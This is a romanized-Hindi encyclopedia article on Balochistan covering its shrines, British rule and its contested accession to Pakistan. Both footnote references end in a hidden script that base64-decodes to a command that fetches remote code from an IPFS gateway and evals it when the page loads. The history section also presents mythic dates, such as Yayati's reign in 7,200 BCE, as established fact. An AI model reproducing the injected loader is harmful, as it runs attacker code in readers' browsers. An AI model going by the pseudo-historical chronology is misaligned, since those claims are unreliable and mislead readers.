बलूचिस्तान
baloochistan
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| vivaran | baloochistan / balochistan pakistan ka pashchimi praant hai. yah eeran (sistan v baloochistan praant) tatha afaganistan ke sate hue kshetroan mean banta hua hai. |
| desh | pakistan |
| rajadhani | kveta |
| bhasha | balooch ya baloochi |
| azadi | 11 agast 1947 |
| vishesh | baloochistan mean devi sati ke 51 shaktipithoan mean se ek shaktipith hiangalaj mata ka hai. |
| any janakari | yah pradesh pakistan ke sabase kam abad ilakoan mean se ek hai. |
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baloochistan / balochistan (aangrezi: Balochistan) pakistan ka pashchimi praant hai. baloochistan nam ka kshetr b da hai aur yah eeran (sistan v baloochistan praant) tatha afaganistan ke sate hue kshetroan mean banta hua hai. yahaan ki rajadhani kveta hai. yahaan ke logoan ki pramukh bhasha balooch ya baloochi ke nam se jani jati hai. 1944 mean baloochistan ke svatantrata ka vichar janaral mani ke vichar mean aya tha par 1947 mean british ishare par ise pakistan mean shamil kar liya gaya. 1970 ke dashak mean ek baloch rashtravad ka uday hua jisamean balochistan ko pakistan se svatantr karane ki maang uthi. yah pradesh pakistan ke sabase kam abad ilakoan mean se ek hai.
itihas
bharat pichhale 15,000 varshoan se astitv mean hai. afaganistan, baloochistan, pakistan aur hindustan sabhi bharat ke hisse the. baloochistan aryoan ki prachin dharati aryavart ka ek hissa hai. prachin kal mean vaidik yug mean paras (kalaantar mean pharas) se lekar ganga, sarayoo aur brahmaputr tak ki bhoormi aryoan ki bhoomi thi jisamean siandhu ghati ka kshetr sabase mahatvapoorn tha. aryoan ke panchanand ya panchakul arthat puru, yadu, turvas, anu aur druhu ke kul mean se kisi ek kul ke haian. bharat ka prachin itihas kahata hai ki aphagani, balooch, pakhtoon, panjabi, kashmiri adi pashhchim bharat ke log puru vansh se sanbandh rakhate haian arthat ve sabhi paurav haian. puru vansh mean hi age chalakar kuru hue jinake vanshaj kaurav kahalae. 7,200 eesa poorv arthat aj se 9,200 varsh poorv yayati ke in paanchoan putroan mean se puru ka dharati ke sabase adhik hisse par raj tha. balooch bhi manate haian ki hamare itihas ki shuruat 9 hajar varsh poorv huee thi.[1]
hiangalaj shaktipith
baloochistan mean devi sati ke 51 shaktipithoan mean se ek shaktipith hiangalaj mata ka hai. baloochistan ki bhoomi par durgam paha diyoan ke bich mata ka mandir hai jahaan mata ka sir gira tha. yah mandir baloochistan ke rajy manj mean sthit hiangol nadi ke pas sthit paha di par hai. is sthan par bhagavan shriram, parashuram ke pita jamadagni, guru gorakhanath, guru nanak dev bhi a chuke haian. charanoan ki kul devi hiangalaj ki mata hi thi. ye charan log baloochi hi the aur aj inaka nam kuchh aur kabile se ju da hua hai. baloochistan mean bhagavan buddh ki saiank doan moortiyaan paee geean. yahaan kisi kal mean bauddh dharm apane charam par tha.
gaandhar janapad ka hissa
baloochistan bharat ke 16 mahajanapadoan mean se ek janapad sanbhavat: gaandhar janapad ka hissa tha. chandragupt maury ka lagabhag 321 ee.poo. ka shasan pashchimottar mean afaganistan aur baloochistan tak phaila tha. dard, hoon huanja, ambist amb, pakhtoo, kamboj, gaandhar, kaikay, valhik balakh, abhisar (rajauri), kashmir, madr, yadu, trisu, khaandav, sauvir saurashtr, kuru, paanchal, kaushal, shoorasen, kirat, nishad, mats, chedi, ushinar, vats, kaushambi, videhi, aang, pragjyotish (asam), ghang, malava, ashmak, kaliang, karnatak, dravi d, chol, shivi shivasthan-sistan-sara balooch kshetr, siandh ka nichala kshetr dandak maharashtr surabhipattan maisoor, aandhr tatha sianhal sahit lagabhag 200 janapad mahabharat mean varnit haian. inamean se pramukh 30 ne mahabharat ke yuddh mean bhag liya tha.[1]
baloochistan par aangrezoan ka kabza
balooch rashtravadi aandolan 1666 mean sthapit mir ahamad ke kalat ki khanat ko apana adhar manata hai. mir nasir khan ke 1758 mean aphagan ki adhinata kabool karane ke bad kalat ki simaean poorab mean dera gaji khan aur pashchim mean bandar abbas tak phail geean. eeran ke nadir shah ki madad se kalat ke khanoan ne brahuee adivasiyoan ko ekatrit kiya aur satta par kabij ho ge. ‘pratham aphagan yuddh (1839-42) ke bad aangreanjoan ne is kshetr par adhikar jama liya. 1869 mean aangrejoan ne kalat ke khanoan aur baloochistan ke saradaroan ke bich jhag de ki madhyasthata ki. varsh 1876 mean r aaubart saiandamen ko baloochistan ka british ejeant niyukt kiya gaya aur 1887 tak isake jyadatar ilake british samrajy ke adhin a ge.
aangrezoan se baloochistan ki azadi ka sangharsh
aangrezoan ne baloochistan ko 4 riyasatoan mean baant diya- kalat, makaran, las bela aur kharan. 20vian sadi mean baloochoan ne aangrejoan ke khilaph sangharsh chhe d diya. isake lie 1941 mean rashtravadi sangathan aanjuman-e-ittehad-e-baloochistan ka gathan hua. varsh 1944 mean janaral mani ne baloochistan ki svatantrata ka spasht vichar rakha. idhar, ajam jan ko kalat ka khan ghoshit kiya gaya. lekin ajam jan khan saradaroan se ja mila. usaki jagah niyukt usaka uttaradhikari mir ahamad yar khan aanjuman ke prati to vah apana samarthan vyakt karata tha, lekin vah aangrejoan se rishte to d kar bagavat ke paksh mean nahian tha. yahi karan tha ki bad mean aanjuman ko kalat stet neshanal parti mean badal diya gaya. ajam jan khan ne is parti ko 1939 mean gairakanooni ghoshit kar diya. aise mean parti ke netaoan aur karyakartaoan ko pak d liya gaya ya unhean nirvasan jhelana p da. 1939 mean aangrejoan ki rajaniti ke tahat baloochoan ki muslim lig parti ka janm hua, jo hindustan ke muslim lig se ja mili. doosari or ek or nee parti aanjuman-e-vatan ka janm hua jo bharatiy rashtriy kaangres ke sath ju d gee. aanjuman ke kaangres ke sath is ju dav mean khan abdulagaffar khaan ki bhoomika aham thi. mir yar khan ne sthaniy muslim lig aur rashtriy muslim lig donoan ko bhari vittiy madad di aur muhammad ali jinna ko kalat rajy ka kanooni salahakar bana liya.
jinna ki salah par yar khan 4 agast 1947 ko raji ho gaya ki ‘kalat rajy 5 agast 1947 ko ajad ho jaega aur usaki 1938 ki sthiti bahal ho jaegi.’ usi din pakistani sangh se ek samajhaute par dastakhat hue. isake anuchchhed 1 ke mutabik ‘pakistan sarakar is par rajamand hai ki kalat svatantr rajy hai jisaka vajood hindustan ke doosare rajyoan se ekadam alag hai.’ lekin anuchchhed 4 mean kaha gaya ki ‘pakistan aur kalat ke bich ek karar yah hoga ki pakistan kalat aur aangrejoan ke bich 1839 se 1947 se hue sabhi kararoan ke prati pratibaddh hoga aur is tarah pakistan aangreji raj ka kanooni, sanvaidhanik aur rajanitik uttaradhikari hoga.’ anuchchhed 4 ki isi bat ka phayada uthakar pakistan ne kalat ke khan ko 15 agast 1947 ko ek pharebi aur phansane vali ajadi dekar 4 mahine ke bhitar yah samajhauta to dakar 27 march 1948 ko us par aupacharik kabja kar liya. pakistan ne baloochistan ke bache 3 praantoan ko bhi jabaran pakistan mean mila liya tha.[2]
bharat vibhajan aur baloochistan
march 1947 mean l aaurd mauantabetan, l aaurd vavel ke sthan par vaisaray niyukt hue. 8 mee 1947 ko vipi menan ne satta aantaran ke lie ek yojana prastut ki jisaka anumodan mauantabetan ne kiya. kaangres ki or se javaharalal neharoo, saradar vallabhabhaee patel aur je.bi.kripalani the jabaki muslim lig ki or se mohammad ali jinna, liyakat ali aur abdul nishtar the jinhoanne vichar-vimarsh karane ke bad is yojana ko svikar kiya. pradhanamantri etali ne is yojana ki ghoshana haus aauph kamans mean 3 joon 1947 ko ki thi isilie is yojana ko 3 joon ki yojana bhi kaha jata hai. isi din mauantabetan ne vibhajan ki apani ghoshana prakashit ki.
is yojana ke anusar panjab aur bangal ki praantiy vidhanasabhaoan ke ve sadasy, jo muslim bahumat vale jiloan ka pratinidhitv karate the, alag ekatr hokar aur gairamuslim bahumat vale sadasy alag ekatr hokar apana mat dekar yah tay kareange ki praant ka vibhajan kiya jae ya nahian, donoan bhagoan mean vinishhchit sade bahumat se hoga. pratyek bhag yah bhi tay karega ki use bharat mean rahana hai ya pakistan mean? pashhchimottar sima praant mean aur asam ke silahat jile mean jahaan muslim bahumat hai vahaan janamat sangrah ki bat kahi gee. doosari or isamean sindh aur baloochistan ko bhi svatantr nirnay lene ke adhikar die ge. baloochistan ke lie nirnay ka adhikar kveta ki nagarapalika ko diya gaya. us vakt bharat, aphaganistan aur eeran ke havale se baloochistan ke lie yah bahas ki gee thi ki ap bharat ke sath rahana chaheange, eeran ke sath rahana chaheange, aphaganistan ke sath rahana chaheange ya ki ajad rahana chaheange. us dauran pakistan ke sath vilay ke lie kisi bhi prakar ka karar pas nahian hua tha. tab yah samajhaya gaya tha ki islam ke nam se balooch pakistan ke sath vilay kar lean. lekin tab baloochoan ne yah yah masala uthaya ki aphaganistan aur eeran bhi to islamik mulk hai to unake sath kyoan nahian vilay kiya jae? ham pakistan ke sath hi kyoan rahean, jabaki unaki aur hamari bhasha, pahanava aur sanskriti unase juda hai.[2]
baloochistan ka pakistan mean vilay
aant mean yah nirnay hua ki balooch ek ajad mulk banega. kalat ke khan ne baloochi janamanas ki numaiandagi karate hue baloochistan ka pakistan mean vilay karane se saph iankar kar diya tha. yah pakistan ke lie asahaniy sthiti thi. aantat: pakistan ne sainik karravaee kar jabaran baloochistan ka vilay kar liya. yah amataur se mana jata hai ki mohammad ali jinna ne aantim svadhin balooch shasak mir ahamad yar khan ko pakistan mean shamil hone ke samajhaute par dastakhat karane ke lie majaboor kiya tha. 4 agast 1947 ko lard mauantabetan, ali jinna, jo baloochoan ke vakil the, sabhi ne ek kamishan baithakar taslim kiya aur 11 agast ko baloochistan ki ajadi ki ghoshana kar di gee. vibhajan se poorv akhand bharat ki 556 riyasatoan mean baloochistan bhi shamil nahian tha. halaanki is ghoshana ke bad bhi mauantabetan aur pakistani netaoan ne 1948 mean baloochistan ke nijam ali khan par dabav dalakar is riyasat ka pakistan mean jabaran vilay kar diya. ali khan ne baloch sansad se anumati nahian li thi aur dastavejoan par dastakhat kar die the. balooch is nirnay ko avaidhanik manate haian, tabhi se rashtravadi baloch pakistan ki gulami se mukt hone ke lie sangharsh chhe de hue haian. 14 aur 15 agast 1947 mean bharat nahian balki ek aisa kshetr ajad hua jise bad mean pakistan aur hindustan kaha gaya. hindustan aur pakistan ke pahale baloochistan 11 agast 1947 ko ajad hua tha. hindustan ki ajadi se 3 din pahale hi baloochistan ko ajad kar diya tha. 14 agast ko pakistan bana aur 15 agast ko hindustan ajad hua.[2]
bhoogol
baloochistan ka vartaman bhaugolik kshetr dakshin-pashchim pakistan, eeran ke dakshin-poorvi praant sistan tatha baloochistan aur afaganistan ke baloochistan praant tak phaila hua hai, lekin isaka adhikaansh ilaka pakistan ke kabje mean hai, jo pakistan ke kul kshetraphal ka lagabhag 44 pratishat hissa hai. isi ilake mean adhikaansh balooch abadi rahati hai. yah sabase garib aur upekshit ilaka bhi hai. baloochistan ke dakshin-poorvi hisse par eeran, dakshin-pashchimi hisse par afaganistan aur pashchimi bhag par pakistan ne kabja kar rakha hai. sabase b da hissa takariban pakistan ke kabje mean hai. prakritik sansadhanoan se bharapoor is sanpoorn kshetr mean yooreniyam, gais aur tel ke bhandar pae ge haian.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 baloochistan ka prachin itihas aur samasya ki vajahean (hiandi) veb duniya. abhigaman tithi: 19 janavari, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 2.2 baloochistan ka prachin itihas aur samasya ki vajahean (hiandi) veb duniya. abhigaman tithi: 28 janavari, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari kadiyaan
- baloochistan par kyoan bh dakata hai pakistan?
- 'bharat baloochistan ko pak se alag nahian kar sakata'
sanbandhit lekh
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varnamala kramanusar lekh khoj
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